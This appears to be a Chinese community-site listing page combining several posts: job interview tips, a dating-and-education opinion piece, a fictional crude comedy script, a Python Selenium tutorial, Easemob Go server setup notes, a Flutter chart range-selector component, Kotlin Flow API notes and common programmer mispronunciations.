当简历通过筛选以后,你将会接到大致符合你要求的公司电话,如何沟通更有效?


三要


首先要了解对方公司招聘的岗位,避免一些不负责任的HR给你推荐不合适的工作。比如你想求职设计经理,对方却给你推荐项目经理,因为岗位内容有一部分交叉,对方就以为你会感兴趣,而你一通介绍之后,才发现双方根本不合适,既浪费时间又非常尴尬。


了解到是你感兴趣的岗位以后,你要再次确认一下这个岗位的要求,避免白跑一趟。你可以说“相信贵公司已经看过我的简历了,我真的符合贵公司的要求吗?比如性别年龄学历这些”,有些岗位是有性别要求的,比如一般人认为行政都要女性,有些公司却只招男性,因为业务原因,偶尔需要行政干一些体力活,如果招女孩子就不合适了。而某些求职者的名字看不出性别。


最后要简单的介绍一下自己及过往工作经历,重点表达你与这个岗位匹配的地方,你的优势,以及你对这个岗位感兴趣,如:有过相应的管理经验,你是一个熟悉财务知识的销售。表达你的兴趣,是释放“有机会进一步发展”的电波,让对方“吃下定心丸”,从而进一步得到面试邀请。


三不要


电话沟通时,最好不要问详细的薪资数目,因为很多岗位是根据面试者的能力面议薪资的,问也只能得到一个范围的回答,而对方看过你的薪资要求后,还联系你,就说明薪资范围是符合你的要求的,多此一问反而显得你太看重钱,虽说找工作就是为了钱,但是说出来就拉低你的层次了。


也不要问特别详细的工作内容,不一定非得一听就会,到了公司边看边做不是什么难事,电话里抠细节会让人觉得你能力一般,没自信。


最后一个要避免问的,就是公司一年能做多少业务、赚多少钱,我真的遇到过问这种问题的憨憨,我只能说“不好意思,这是公司机密,我不方便告诉你”。


以上三个问题,不是不该问,而是不要在电话里问,要么得不到明确的回复,要么三言两语说不清楚,到了面试现场环节,再详细沟通即可。





面试时大方得体的表达自己


收到面试邀请后,看一下公司地址,提前规划好路线和出发时间,比预约时间提前5-10分钟到达即可。


到得太早,会给对方留下你过于急切和很想得到这个机会的印象,从而怀疑你的能力。


觉得优秀的人有很多机会的,能力一般的人才会过于重视每一次邀请,这就是人性。


到得太晚,对方又会认为你不重视承诺、没有时间意识。


两者都需要避免。


到达面试现场后,就是正常的面试流程,无需多说。需要注意的是,表现要大方得体,不要紧张,声音不要太低,如果面对以后的同事你都是如此“不专业”,不免让人担心你往后的工作表现,从而不敢把这份工作交给你。




等待结果时积极行动


在等待结果的时候,也并非什么都不能做,可以跟联系的人事提一个简单而无伤大雅的问题,善于沟通在哪里都是加分项,而且会使对方尽快回复你面试结果。


想一想“富兰克林”效应你就明白了,帮助过你的人会再次帮助你,跟你有过联系的人也会倾向于第一个联系你。


掌握以上4个面试“潜规则”,就能帮助你更快找到工作。


作者丨轻舞飞莹

编辑丨职伴君

收起阅读 »

我,研究生,绝不和普通本科生谈恋爱。

和身边一位朋友聊天时,她说:无论怎么样,一定要找个学历和自己差不多的男朋友,不然都没有共同语言。这让我想起了“门当户对”四个字,如果是你的话,会和学历比自己低的人谈恋爱吗?开动君在和几个人聊了之后,他们是这样回答的:小A同学:我是一个本科,对象是211硕士。学...
继续阅读 »
和身边一位朋友聊天时,她说:无论怎么样,一定要找个学历和自己差不多的男朋友,不然都没有共同语言。

这让我想起了“门当户对”四个字,如果是你的话,会和学历比自己低的人谈恋爱吗?

开动君在和几个人聊了之后,他们是这样回答的:


小A同学:

我是一个本科,对象是211硕士。学的同一个专业。我一直没有放弃,毕业后我边工作边学习一年考研。跟她同在一个实验室,她是我的师姐了。


小B同学:

不是攻击性的,只谈我个人经历,我在专科学校上了三个月,然后因为他的学校氛围和一些学生素质以及个人的原因选择了复读。说句可能会被骂的话,感觉可能都没我高中好,哪个学历都会有优秀的人,同样也会有庸碌的人。但是,学历可能会真的大范围体现一个人的素质涵养。有不对的请指出,我的观点一句话:学历不是一刀切,但绝对是重要因素。


小C同学:

我,985硕士毕业,可以谈恋爱,不介意学历,只介意智商(非其他各种商)。而事实是,学历高的,确实智商高一些(不讨论个例)。


小D同学:

我是一个双非本科生。说一下我每天看到的双非本科生,周末舍友一觉睡到12点,每天除了游戏,就是直播,宿舍永远有扫不完的垃圾。我问唯一一个和我关系比较好的同学,你出了校门准备干嘛,他说:“现在想这个干嘛,到毕业再说么。”不得不说,这就是大部分人的状态。学校里有好学生吗?当然有,但是少的可怜。想找出一个有上进心的,愿意一起努力的另一半,说实话,真的很难。所以找一个普本生谈恋爱,请先确定他是否能对未来负得起责任,是否能和你共同进步,是否愿意为双方的未来做一定的规划。


小E同学:

普本生也确实有部分很优秀,这是不争的事实。但是毕竟是少数,研究生中堕落的也不少,但是有句话说得对,门当户对很重要,喜欢一个人,就要努力让自己配得上他(她),而不是自己成为累赘,所以,我还是会选择一个学历相近的,至少三观和看问题的角度层次相近的概率大一些。


小F同学:

我是普通本科生,身边的确有不计其数的人在荒废人生,学习的人不多,我只能靠自己,一步一步成长,我现在是专业第一,我相信很多本科的学生没有我努力,我比你们强。我靠本事吃饭,我不堕落,我知道自己想要什么。


小G同学:

16年,我还是一个专科生,喜欢一个985的博士,但是他不喜欢我。今年9月,我研一,还是喜欢那个985的博士,他依然不喜欢我。


小H同学:

我读211硕士,正准备读博,男朋友普本毕业创业受挫,说多了,他自己也烦,不说他,感觉他总是在空空计划没有让我看到什么行动,以前他跟我讲未来我都会觉得很幸福,现在他跟我讲未来我真的觉得是胡扯,经济基础决定上层建筑,在拼命奔跑的日子里难道要让其他强者等他么?唉   不思进取,失望攒够了我也会离开。


小I同学:

我是一名普本生,学校的奖学金我都拿到了,还有国家励志奖学金和国家奖学金,英语四六级还有国家计算机二级VFP也过了,普通话二甲,自学了日语和韩语,还有营销师和人力资源管理。


小J同学:

不是想说明我多优秀,只是因为普本生中确实也有个例。而我男友高中都没毕业。


小K同学:

他现在做销售一个月平常税后六七千,好的时候一万多,我平均一个月1.2万这样子,但是他一直在努力。好的爱情不分学历和背景,关键在于你是否爱他,他是否愿意为了你去改变!


小L同学:

男朋友985硕士,我本科。我们家庭条件都很一般,谈了两年半了,我也在今年考了研究生,真的很苦,但是好在是成功了,男朋友也在考博,只能说互相鼓励,站在对方角度考虑,为了共同的目的去努力,毕竟站得更高看得更远,想要的东西也不一样。我觉得感情是两个人在一起的舒服感,无关其他的。只要两个感情到位了,什么都可以克服,能一起奋斗就好。


小N同学:

我本科,老公博士毕业,在研究所上班。一见钟情的时候谁也不知道对方是王者还是青铜,决定在一起以后 我承认老公的自律的确影响了我,每天回家不再是看剧玩手机干一些有的没的事,而是他学习的时候我看书,对的人就是一起让对方变得更加优秀,而不是单纯的一个人为了另一个人去改变,好的爱情是互相扶持共同进步一起成长。



【写在最后】


总结一句话:不怕学历不同,只是怕价值观不同。


一个人的人品、性格、上进心、责任心、价值观,这些才是需要我们仔细考虑的重要因素。


而学历上的差距也不是不能去弥补。


在如今这个时代,有那么多的通道给你提高学历:可以专插本,可以考研究生,再不济,可以上一节网课,把自己的知识丰富起来,到那时,两人自然而然又能回到同一起跑线上了。


可是那很辛苦,得看书,得努力。


那些因为学历分手的感情,可能不是低学历毁了你的爱情,而是你不愿意去争取这段爱情的态度,决定了分手的结局。


而面对学历上的差距,也许很多人歧视的不是这份文凭。而是那些明知道自己起点低,却安于现状,抱着“我弱我有理,你看不起我就是你不对”的想法,消极生活的人。


所以,为了爱情,更是为了自己的未来,我们至少要去努力试一试。


努力去做一个有选择权的人,而不是在一段关系里被挑来挑去。


来自开动君。
收起阅读 »

相声:《我是大文豪》

相声:《我是大文豪》表演者:郭德纲/于谦(郭、于上台,众人鼓掌)郭:谢谢大伙儿于:哎郭:大伙儿这么捧,我打心里高兴于:是啊,支持相声嘛郭:我内心也是替这门濒临结扎的艺术,感到欣慰于:您先等会吧郭:怎么了?于:什么叫濒临结扎啊郭:那不经常有个词儿嘛,形容你们这个...
继续阅读 »

相声:《我是大文豪》

表演者:郭德纲/于谦

(郭、于上台,众人鼓掌)

郭:谢谢大伙儿

于:哎

郭:大伙儿这么捧,我打心里高兴

于:是啊,支持相声嘛

郭:我内心也是替这门濒临结扎的艺术,感到欣慰

于:您先等会吧

郭:怎么了?

于:什么叫濒临结扎啊

郭:那不经常有个词儿嘛,形容你们这个艺术正在风雨飘摇

于:那叫濒临失传!

郭:那不一样嘛!

于:不一样!我们这个不上环儿!

郭:什么意思!

于:还什么意思呢!再说了,我们相声有什么濒临失传的,这兴旺着呢!

郭:相比而言嘛,相比我从事的行业,相声太弱了

于:您是什么职业啊?

郭:我的职业是一名文豪

于:没听说过!人都是自称是作家,哪有自称是文豪的

郭:没有吗?

于:您见哪个洗头房的小姐自称职业是花魁的?

郭:那上次那女的这么说合着是骗我!

于:那也是您总去!

郭:算了不提这个了

于:是您也得敢提啊

郭:反正我作为一名文豪,著作等身

于:您写过什么作品?

郭:我爸爸是北京一老作家....

于:我是问您写过什么作品,您扯您爸爸干什么啊

郭:我爸爸那书写的哦,那个好,你不知道,这边看我爸爸的书,那边你媳妇跟人睡觉,你都不着急拦!

于:您有病吧?我问的是您,不是您爸爸

郭:没有天哪有地,没有我爸爸哪有我?没有我哪有你?

于:没有您也有我!

郭:哦那就没有我儿子哪有你?!

于:得,这辈儿下的更快了,那您就说您爸爸

郭:还是的嘛,人活一世最重要的就是孝顺,我不提我爸爸我还是人么!

于:反正瞧您这做派倒不老像人的

郭:你这就是嫉妒!你嫉妒我的书香门第!我爸爸本来是通县一掏大粪的啊...

于:这还书香门第啊!

郭:你听我讲啊!本来是掏大粪的,后来改了

于:改卖农家肥了?

郭:你是人不是?我告诉你我今天手上没带着枪,要不我一刀捅死你!

于:得,您继续说

郭:我爸爸在经历了文革的动乱以后,站出来写了一篇发人深省的小说,一举成名!

于:哦?那听着倒是挺厉害,怎么写的?

郭:就写啊,我爸爸本来品学兼优,就是被四人帮暗害了,导致没考上大学,才小学二年级就被政治迫害辍学了

于:那就跟四人帮一点儿关系没有!就是你爸爸自己不念了!

郭:你还有没有点人性?本来我爸是个清华大学的苗子,被时代耽误了!这是一场浩劫下的惨剧啊!

于:您不要脸这劲儿倒是随您爸爸

郭:你什么意思?你的意思是四人帮是好人,你要替他们翻案是不是?!

于:您甭扣帽子,我不觉得他们是好人,但您爸爸这事儿完全挨不上!

郭:反正我爸爸这篇小说一发表,哎呀整个文坛轰动啊,专家们都说,这是当代文学的代表佳作啊!

于:嗯,专家也是没见过什么好东西

郭:这篇小说算是我爸爸的自传,也奠定了我爸爸的文坛地位

于:说这么热闹,这自传小说叫什么名啊?

郭:《废物》

于:嗯,您爸爸这点上倒是挺实惠

郭:这篇《废物》一出,马上在世界文学界都得到了很大的声望,还得了国际大奖呢!

于:什么国际大奖啊?

郭:梵蒂冈佛学研究会文学进步一等奖!

于:都梵蒂冈了还佛学研究会!这奖水的也够模样了

郭:从此我爸爸就是文坛名人了,陆续出版了很多好书

于:都有什么啊?

郭:讲邻居家搞破鞋的,讲亲戚媳妇儿跟人偷情的,讲农村妇女找姘子的....

于:这不都是一回事吗?!这还用拆成好几本书讲啊!

郭:你懂什么?不同的地区这个婚外恋的状态是不一样的,床上都怎么称呼,私下里遇到本家儿了挨打怎么跑,这你都懂吗?

于:不懂,但这么一看您爸爸对这事儿研究够深的

郭:那是,我爸爸为此去各地采风,也因此成为了伤痕文学的代表人物

于:这跟伤痕文学有什么关系?

郭:一身是伤啊,肩膀上、腿上、脸上,那上次还有个农村老爷们拿个铁锹在他脑袋上拍出个疤呢,跟我父亲说,小贼,再让我看见你跟我媳妇儿不清不楚,爷爷我一铁锹拍死你!

于:哦这么个伤痕啊!那就是搞破鞋让人本家儿打了!

郭:之后我父亲又成为了我们当地的破协..哦不,作协主席

于:得,险些把实话说出来了

郭:你就说吧,我爸爸这个资历,我凭什么不是文豪?

于:这是您爸爸的成就,跟您在文学领域怎么着也没关系啊

郭:我爸爸给我提供了无数写作的素材啊!

于:什么素材?

郭:我迄今为止吧,出版了七本书,怎么样,厉害吧?

于:那倒是不少。都什么书啊?

郭:《我与我父亲》、《父亲下乡》、《父亲回城》、《父亲结婚》、《父亲生活秘史》、《父亲的爱情》、《我的父亲的老丈人》

于:你等会吧!

郭:怎么了?

于:《我的父亲的老丈人》....那你就说是写你姥爷不就得了!费这么大事!

郭:你懂个屁!我说我姥爷谁知道是谁啊?书卖不出去啊!

于:那倒是,您这一辈子就靠您父亲这点儿光环活着呢!

郭:你这就是丧良心,我写这么多书,算上里面的拼音,起码也得有五十万字了,您写的出来?!

于:得,连字儿都写不全,还得用拼音

郭:你这就是嫉妒,你嫉妒没我这么一个好爸爸!

于:您别在这抄便宜啊!是我爸爸没有您爸爸这么好,还是没有您这样的一个好爸爸?

郭:这不是一回事嘛?!

于:差远了!

郭:嗨咱俩计较这些微不足道的事儿干嘛

于:那是,你占便宜当然大度了

郭:我爸爸对我们家真是尽心尽力,呕心沥血,尤其对我,简直是再生父母一样的好啊!

于:您这用词,听着好像您不是亲儿子似的

郭:你别在这起腻啊!不光是我,我媳妇儿都得到我爸爸不少帮助

于:您媳妇也是作家吗?

郭:不是,我媳妇主要是表演舞蹈

于:哦,跳芭蕾的?

郭:不是

于:那是跳拉丁的?

郭:也不是

于:那是民族?

郭:这都什么啊,跟我媳妇儿比不了

于:那您媳妇儿是?

郭:我媳妇吧,以前是在北京一个会所演出

于:然后呢?

郭:后来会所涉黄被关了,就嫁给我了

于:哦合着是跳脱衣舞的啊!

郭:说那么难听!

于:那不就是吗?那您好好意思说您媳妇主要是表演舞蹈!

郭:是啊,只不过不是同一个表

于:是婊子演舞蹈的意思是吗?

郭:我抽你!我媳妇都上我们这的作协晚会了!

于:那甭说,又是您爸爸的功劳

郭:那当然

于:那您媳妇儿这三俗的舞蹈,对社会风气影响也不好啊

郭:那有什么的?我爸爸给在场观众每人发一块白布

于:这干什么用的?

郭:把眼睛蒙上

于:哦,就算是把观众眼睛蒙上也必须让儿媳妇过名人瘾是么?

郭:那当然,我爸爸说了一句至理名言,我听着感动的都不行了

于:怎么说的?

郭:许你们恶心,不许我家里人上不去!

于:去你的吧!

(全文完。本文纯属虚构)

收起阅读 »

python+selenium自动化测试(入门向干货)

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。 我实现的大致流程为: 1 - 准备自动化测试环境 2 - 发起网页请求 3 - 定位元素 4 - 行为链 使用工具:python,selenium,chromedriver...
继续阅读 »

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。




我实现的大致流程为:


1 - 准备自动化测试环境

2 - 发起网页请求

3 - 定位元素

4 - 行为链



使用工具:python,selenium,chromedriver,chrom浏览器





操作步骤讲解环节




下面就是喜闻乐见的操作步骤讲解环节了(´◔౪◔)



1、准备自动化测试环境


本次的环境准备较为复杂,但是只要跟着方法走,问题应该也不是很多。

另外,软件包我都整理好了,评论区可见。



  • 准备python环境,这里网上的教程都挺多的,我也就不赘述了。

  • 导入python的第三方扩展包 - selenium,urllib3,jdcal,et_xmlfile(后三个为selenium的依赖包)
安装方法如下:
1)解压后,进入扩展包,shift+右键,在此处打开PowerShell窗口,执行命令
2)python setup.exe install
  • 安装对应版本的chrom浏览器,获取对应版本的chromedriver
这里说的对应版本,是说浏览器的版本需要与chromedriver相对应
我资源里给到的是81版本的chrom浏览器和chromedriver

2、发起网页请求

环境准备好后,就可以发起网页请求验证了。
代码如下:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
# 设定目的url
url = "https://www.baidu.com/"
# 创建一个参数对象,用来控制chrome以无界面模式打开
chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome_options.add_argument('--disable-gpu')

# 跳过https安全认证页面
chrome_options.add_argument('--ignore-certificate-errors')
# 创建自己的一个浏览器对象
driver = webdriver.Chrome(chrome_options=chrome_options)
# 访问网页
driver.get(url)
# 等待防止网络不稳定引起的报错
driver.implicitly_wait(5)
# 浏览器全屏显示
driver.maximize_window()

3、定位元素

参考文档:https://python-selenium-zh.readthedocs.io/zh_CN/latest/
代码如下:

1) 根据Id定位,driver.find_element_by_id()
2) 根据 Name 定位,driver.find_element_by_name()
3) XPath定位,driver.find_element_by_xpath()
4) 用链接文本定位超链接,driver.find_element_by_link_text()
5) 标签名定位,driver.find_element_by_tag_name()
6) class定位,driver.find_element_by_class_name()
7) css选择器定位,driver.find_element_by_css_selector()

4、行为链
这里说的操作是指,定位元素后,针对元素进行的鼠标移动,鼠标点击事件,键盘输入,以及内容菜单交互等操作。
参考文档:
https://python-selenium-zh.readthedocs.io/zh_CN/latest/
https://www.cnblogs.com/GouQ/p/13093339.html
代码如下:

1) 鼠标单击事件,find_element_by_id().click()
2) 键盘输入事件,find_element_by_id().send_keys()
3) 文本清空事件,find_element_by_id().clear()
4) 右键点击事件,find_element_by_id().context_click()
5) 鼠标双击事件,find_element_by_id().double_click()


收起阅读 »

环信基于go的APPserver服务搭建

appServer_go环信目前提供两个登录方式 1.账号密码登录2.账号token登录相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务1.创建一个数据库CREATE DAT...
继续阅读 »

appServer_go

环信目前提供两个登录方式 1.账号密码登录2.账号token登录
相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务

1.创建一个数据库

CREATE DATABASE app_server CHARACTER SET utf8mb4;

运行程序会根据model自动创建表

2.配置config.ini文件

chat相关配置可以在console中找到

 

3.iOS工程需要一下改动

   

4.运行appserver 和 ios项目

说明

项目主要实现上面三个接口

下面是安卓的配置(参数配置参数ios)


该项目有详细注释 仅供参考



收起阅读 »

【开源 UI 组件】Flutter 图表范围选择器

前言 最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持 左右拖动调节中间区域 拖拽中间区域,可以进行移动 图表数据根据中间区域的占比进行显示部分数据 这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图...
继续阅读 »

前言


最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持



  • 左右拖动调节中间区域

  • 拖拽中间区域,可以进行移动

  • 图表数据根据中间区域的占比进行显示部分数据





这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图表库没有提供该功能,这里自己通过绘制来实现以下,操作效果如下所示:





1. 使用 chart_range_selector


目前这个范围选择器已经发布到 pub 上了,名字是 chart_range_selector。大家可以通过依赖进行添加


dependencies:
chart_range_selector: ^1.0.0

这个库本身是作为独立 UI 组件存在的,在拖拽过程中改变区域范围时,会触发回调。使用者可以通过监听来获取当前区域的范围。这里的区域起止是以分率的形式给出的,也就是最左侧是 0 最右侧是 1 。如下的区域范围是 0.26 ~ 0.72



ChartRangeSelector(
height: 30,
initStart: 0.4,
initEnd: 0.6,
onChartRangeChange: _onChartRangeChange,
),

void _onChartRangeChange(double start, double end) {
print("start:$start, end:$end");
}



封装的组件名为: ChartRangeSelector ,提供了如下的一些配置参数:


image.png






























































配置项类型简述
initStartdouble范围启始值 0~1
initEnddouble范围终止值 0~1
heightdouble高度值
onChartRangeChangeOnChartRangeChange范围变化回调
bgStorkColorColor背景线条颜色
bgFillColorColor背景填充颜色
rangeColorColor区域颜色
rangeActiveColorColor区域激活颜色
dragBoxColorColor左右拖拽块颜色
dragBoxActiveColorColor左右拖拽块激活颜色



2. ChartRangeSelector 实现思路分析


这个组件整体上是通过 ChartRangeSelectorPainter 绘制出来的,其实这些图形都是挺规整的,绘制来说并不是什么难事。重点在于事件的处理,拖拽不同的部位需要处理不同的逻辑,还涉及对拖拽部位的校验、高亮示意,对这块的整合还是需要一定的功力的。


image.png


代码中通过 RangeData 可监听对象为绘制提供必要的数据,其中 minGap 用于控制范围的最小值,保证范围不会过小。另外定义了 OperationType 枚举表示操作,其中有四个元素,none 表示没有拖拽的普通状态;dragHead 表示拖动起始块,dragTail 表示拖动终止块,dragZone 表示拖动范围区域。


enum OperationType{
none,
dragHead,
dragTail,
dragZone
}

class RangeData extends ChangeNotifier {
double start;
double end;
double minGap;
OperationType operationType=OperationType.none;

RangeData({this.start = 0, this.end = 1,this.minGap=0.1});

//暂略相关方法...
}



在组件构建中,通过 LayoutBuilder 获取组件的约束信息,从而获得约束区域宽度最大值,也就是说组件区域的宽度值由使用者自行约束,该组件并不强制指定。使用 SizedBox 限定画板的高度,通过 CustomPaint 组件使用 ChartRangeSelectorPainter 进行绘制。使用 GestureDetector 组件进行手势交互监听,这就是该组件整体上实现的思路。





3.核心代码实现分析


可以看出,这个组件的核心就是 绘制 + 手势交互 。其中绘制比较简单,就是根据 RangeData 数据和颜色配置画些方块而已,稍微困难一点的是对左右控制柄位置的计算。另外,三个可拖拽物的激活状态是通过 RangeData#operationType 进行判断的。





也就是说所有问题的焦点都集中在 手势交互 中对 RangeData 数据的更新。如下是处理按下的逻辑,当触电横坐标左右 10 逻辑像素之内,表示激活头部。如下 tag1 处通过 dragHead 方法更新 operationType 并触发通知,这样画板绘制时就会激活头部块,右侧和中间的激活同理。


---->[RangeData#dragHead]----
void dragHead(){
operationType=OperationType.dragHead;
notifyListeners();
}


void _onPanDown(DragDownDetails details, double width) {
double start = width * rangeData.start;
double x = details.localPosition.dx;
double end = width * rangeData.end;
if (x >= start - 10 && x <= end + 10) {
if ((start - details.localPosition.dx).abs() < 10) {
rangeData.dragHead(); // tag1
return;
}
if ((end - details.localPosition.dx).abs() < 10) {
rangeData.dragTail();
return;
}
rangeData.dragZone();
}
}



对于拖手势的处理,是比较复杂的。如下根据 operationType 进行不同的逻辑处理,比如当 dragHead 时,触发 RangeData#moveHead 方法移动 start 值。这里将具体地逻辑封装在 RangeData 类中。可以使代码更加简洁明了,每个操作都有 bool 返回值用于校验区域也没有发生变化,比如拖拽到 0 时,继续拖拽是会触发事件的,此时返回 false,避免无意义的 onChartRangeChange 回调触发。


void _onUpdate(DragUpdateDetails details, double width) {
bool changed = false;
if (rangeData.operationType == OperationType.dragHead) {
changed = rangeData.moveHead(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragTail) {
changed = rangeData.moveTail(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragZone) {
changed = rangeData.move(details.delta.dx / width);
}
if (changed) widget.onChartRangeChange.call(rangeData.start, rangeData.end);
}

如下是 RangeData#moveHead 的处理逻辑,_recordStart 用于记录起始值,如果移动后未改变,返回 false。表示不执行通知和触发回调。


---->[RangeData#moveHead]----
bool moveHead(double ds) {
start += ds;
start = start.clamp(0, end - minGap);
if (start == _recordStart) return false;
_recordStart = start;
notifyListeners();
return true;
}



4. 结合图表使用


下面是结合 charts_flutter 图标库实现的范围显示案例。其中核心点是 domainAxis 可以通过 NumericAxisSpec 来显示某个范围的数据,而 ChartRangeSelector 提供拽的交互操作来更新这个范围,可谓相辅相成。



class RangeChartDemo extends StatefulWidget {
const RangeChartDemo({Key? key}) : super(key: key);

@override
State<RangeChartDemo> createState() => _RangeChartDemoState();
}

class _RangeChartDemoState extends State<RangeChartDemo> {
List<ChartData> data = [];

int start = 0;
int end = 0;

@override
void initState() {
super.initState();
data = randomDayData(count: 96);
start = 0;
end = (0.8 * data.length).toInt();
}

Random random = Random();

List<ChartData> randomDayData({int count = 1440}) {
return List.generate(count, (index) {
int value = 50 + random.nextInt(200);
return ChartData(index, value);
});
}

@override
Widget build(BuildContext context) {

List<charts.Series<ChartData, int>> seriesList = [
charts.Series<ChartData, int>(
id: 'something',
colorFn: (_, __) => charts.MaterialPalette.blue.shadeDefault,
domainFn: (ChartData sales, _) => sales.index,
measureFn: (ChartData sales, _) => sales.value,
data: data,
)
];

return Column(
children: [
Expanded(
child: charts.LineChart(seriesList,
animate: false,
primaryMeasureAxis: const charts.NumericAxisSpec(
tickProviderSpec: charts.BasicNumericTickProviderSpec(desiredTickCount: 5),),
domainAxis: charts.NumericAxisSpec(
viewport: charts.NumericExtents(start, end),
)),
),
const SizedBox(
height: 10,
),
SizedBox(
width: 400,
child: ChartRangeSelector(
height: 30,
initEnd: 0.5,
initStart: 0.3,
onChartRangeChange: (start, end) {
this.start = (start * data.length).toInt();
this.end = (end * data.length).toInt();
setState(() {});
}),
),
],
);
}
}

class ChartData {
final int index;
final int value;

ChartData(this.index, this.value);
}

本文就介绍到这里,更多的实现细节感兴趣的可以研究一下源码。谢谢观看 ~


作者:张风捷特烈
链接:https://juejin.cn/post/7134885139980484615
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

这些flow常见API的使用,你一定需要掌握!

collect通知flow执行 public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit...
继续阅读 »

collect通知flow执行


public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit =
collect(object : FlowCollector<T> {
override suspend fun emit(value: T) = action(value)
})

flow是冷流,只有调用collect{}方法时才能触发flow代码块的执行。还有一点要注意,collect{}方法是个suspend声明的方法,需要在协程作用域的范围能调用。


除此之外,collect{}方法的参数是一个被crossinline修饰的函数类型,旨在加强内联,禁止在该函数类型中直接使用return关键字(return@标签除外)。


fun main() {
GlobalScope.launch {
flow {
emit("haha")
}.collect {

}
}
}

launchIn()指定协程作用域通知flow执行


public fun <T> Flow<T>.launchIn(scope: CoroutineScope): Job = scope.launch {
collect() // tail-call
}

这个方法允许我们直接传入一个协程作用域的参数,不需要直接在外部开启一个协程执行。本质上就是使用我们传入的协程作用域手动开启一个协程代码块调用collect{}通知协程执行。


这里看官方的源码有个tail-call的注释,也就是尾调用的意思,猜测这里可能官方会在这里进行了优化,减少了栈中方法调用的层级,降低栈溢出的风险。


fun main() {
flow {
emit("haha")
}.launchIn(GlobalScope)
}

catch{}捕捉异常


public fun <T> Flow<T>.catch(action: suspend FlowCollector<T>.(cause: Throwable) -> Unit): Flow<T> =
flow {
val exception = catchImpl(this)
if (exception != null) action(exception)
}

这个就是用来捕捉异常的,不过注意,只能捕捉catch()之前的异常,下面来个图阐述下:


image.png

即,只能捕捉第一个红框中的异常,而不能捕捉第二个红框中的异常。


merge()合流


public fun <T> merge(vararg flows: Flow<T>): Flow<T> = flows.asIterable().merge()

最终的实现类如下:


image.png


请注意,这个合流的每个流可以理解为是并行执行的,而不是后一个流等待前一个流中的flow代码块中的逻辑执行完毕再执行,这样做的目的可以提供合流的每个流的执行效果。


测试代码如下:


fun main() {
GlobalScope.launch {
merge(flow {
delay(1000)
emit(4)
}, flow {
println("flow2")
delay(2000)
emit(20)
}).collect {
println("collect value: $it")
}
}
}

输出日志如下:


image.png


map{}变换发送的数据类型


public inline fun <T, R> Flow<T>.map(crossinline transform: suspend (value: T) -> R): Flow<R> = transform { value ->
return@transform emit(transform(value))
}

这个api没什么可将的,很多的地方比如集合、livedata中都有它的影子,它的作用就是将当前数据类型变换成另一种数据类型(可以相同)。


fun main() {
GlobalScope.launch {
flow {
emit(5)
}.map {
"ha".repeat(it)
}.collect {
println("collect value: $it")
}
}
}

总结


本篇文章介绍了flow常见的api,接下来还会有一些列文章用来介绍flow的其他api,感谢阅读。


作者:长安皈故里
链接:https://juejin.cn/post/7134478501612093471
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

程序员最容易读错的单词,听到status我炸了

这个死太丢死不太对,需要改一下。。。看着他疑惑不解的眼神,我当时的表情。。。好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看...
继续阅读 »

最近在跟同事讨论问题的时候,他突然对我说。。。

这个死太丢死不太对,需要改一下。。。

我当时应该是愣住了,然后想了一下,你说的是 status 吗???

看着他疑惑不解的眼神,我当时的表情。。。


好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。

于是,带着好奇、疑惑和忐忑的心情,我重新 Google、百度了一遍那些我觉得不太确认的单词到底怎么读,结果简直颠覆了我的三观。。。

我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看他喵的怎么读的。。。

status

这玩意儿你以为我嘲讽了同事吗?

不是,我是嘲讽了自己的无知。

他娘的,他不读死太丢死,也不读死特丢死

他读,【ˈstæɾəs】或者是【ˈsteɪtəs】 ,不会读,但是我相信大家音标还是看的明白的。

这里就请原谅我无法用文字来读出声音给大家。

Mysql

OK,请看下一题,我想这个读音大家好像约定俗称了一样,就是卖色扣

其实,我觉得他跟app这玩意儿一样啊,有些人非要读啊扑也无所谓,我就一个个单词读APP你咬我呢。

Mysql性质也差不多,你读卖S Q L我觉得也没毛病。

但,官方的意思和APP这玩意儿一样,希望大家读的是My Sequel

Linux

这个我估摸着也是重灾区,因为我一直读了好多年的力扭克思,这一条中了的请扣一波1111111。

实际上,别人真不这么读,我还是被一个刚读大一的朋友纠正的。。

正确读音:【'lɪnəks】,力呢渴死。

Integer

好了,这个读音我相信你的同事之中可能就没几个读对的。。。

因太哥儿因特哥儿。。。

正确读音:【'ɪntɪdʒə】,因题绝儿。

我非常相信,你现在知道了怎么读,明天又会回到原来的样子,因为就在刚才我又自己读成了因特绝儿。。。

OK,OK

好了,好了,剩下的我就不一一再说了,我直接列几个吧,我觉得很多人估计得疯了,和我一样!

  1. height:这玩意儿hi特,别读黑特,这个错的人不多,讲道理。

  2. width:这个有点离谱了,大家应该都读歪思,好嘛,人家读【wɪtθ】,和with差不多,我直到今天才知道我错了。

  3. margin:这个但凡接触过前端的都懂啊,马哥因对吧,好点的会连读,但是也错了,读【'mɑːdʒɪn】,马军。。。

  4. maven:别读马文了,读meɪvn,读美文

  5. Deque:你以为和队列 queue 一样,读地Q吗,人家读【'dek】德克。

  6. facade:这个真的因为可能看起来太奇怪了,所以好像没什么人读错,【fə'sɑːd】门面装配。

